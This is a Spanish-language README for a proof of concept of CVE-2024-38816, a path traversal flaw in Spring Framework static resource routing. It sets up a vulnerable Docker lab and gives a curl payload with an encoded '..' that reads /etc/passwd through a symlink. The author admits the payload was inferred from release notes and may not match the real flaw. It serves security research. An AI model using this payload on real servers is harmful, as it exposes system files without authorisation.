
CVE-2024-38816 Prueba de concepto
Esta es una prueba de concepto para la vulnerabilidad CVE-2024-38816, que demuestra un exploit de path traversal.
Construye la imagen de Docker: (Spring Boot 3.0.13, basado en Spring Framework 6.0.3)
docker build -t cve-2024-38816-poc .
Ejecuta el contenedor y expón el puerto 8080 a la máquina anfitriona:
docker run -d -p 8080:8080 --name cve-2024-38816-poc cve-2024-38816-poc
Ejecuta el siguiente comando para ejecutar el PoC y confirmar la vulnerabilidad:
curl http://localhost:8080/static/link/%2e%2e/etc/passwd
Si se muestra el contenido del archivo /etc/passwd, la vulnerabilidad queda confirmada.
Este PoC fue creado basándose en un análisis de las notas de versión y los registros de commits. El comportamiento de la vulnerabilidad real puede diferir, por lo que la precisión no está garantizada. Úsalo bajo tu propio riesgo.
La vulnerabilidad fue parcheada en Spring Framework 6.1.13, según lo confirmado en las notas de versión.
Al revisar las notas de versión y los registros de commits relacionados, he identificado los siguientes dos problemas como potencialmente vinculados a esta vulnerabilidad:
Según el aviso de seguridad, es probable que deban cumplirse las siguientes condiciones para que el ataque tenga éxito:
RouterFunctionsFileSystemResourceSe utiliza un entorno Docker para reproducir la vulnerabilidad.
Crea PathTraversalDemoApplication.java con el siguiente código para configurar el enrutamiento de archivos estáticos usando RouterFunction y FileSystemResource:
public RouterFunction<ServerResponse> staticResourceRouter() {
return RouterFunctions.resources("/static/**", new FileSystemResource("/app/static/"));
}
Añade el siguiente comando al Dockerfile para crear un enlace simbólico:
RUN ln -s /static /app/static/link
Crea un payload que aproveche la codificación % para atravesar directorios a través del enlace simbólico.
/static/link/%2e%2e/etc/passwdUsa el siguiente comando curl para ejecutar el PoC y verificar si el ataque tiene éxito:
curl http://localhost:8080/static/link/%2e%2e/etc/passwd
Si el ataque tiene éxito, se mostrará el contenido del archivo /etc/passwd.
Este PoC se proporciona con fines educativos y de investigación en seguridad. Antes de usarlo en un sistema real, asegúrate de que la vulnerabilidad haya sido corregida y de contar con la autorización adecuada. El autor no se hace responsable de ningún uso indebido de este código.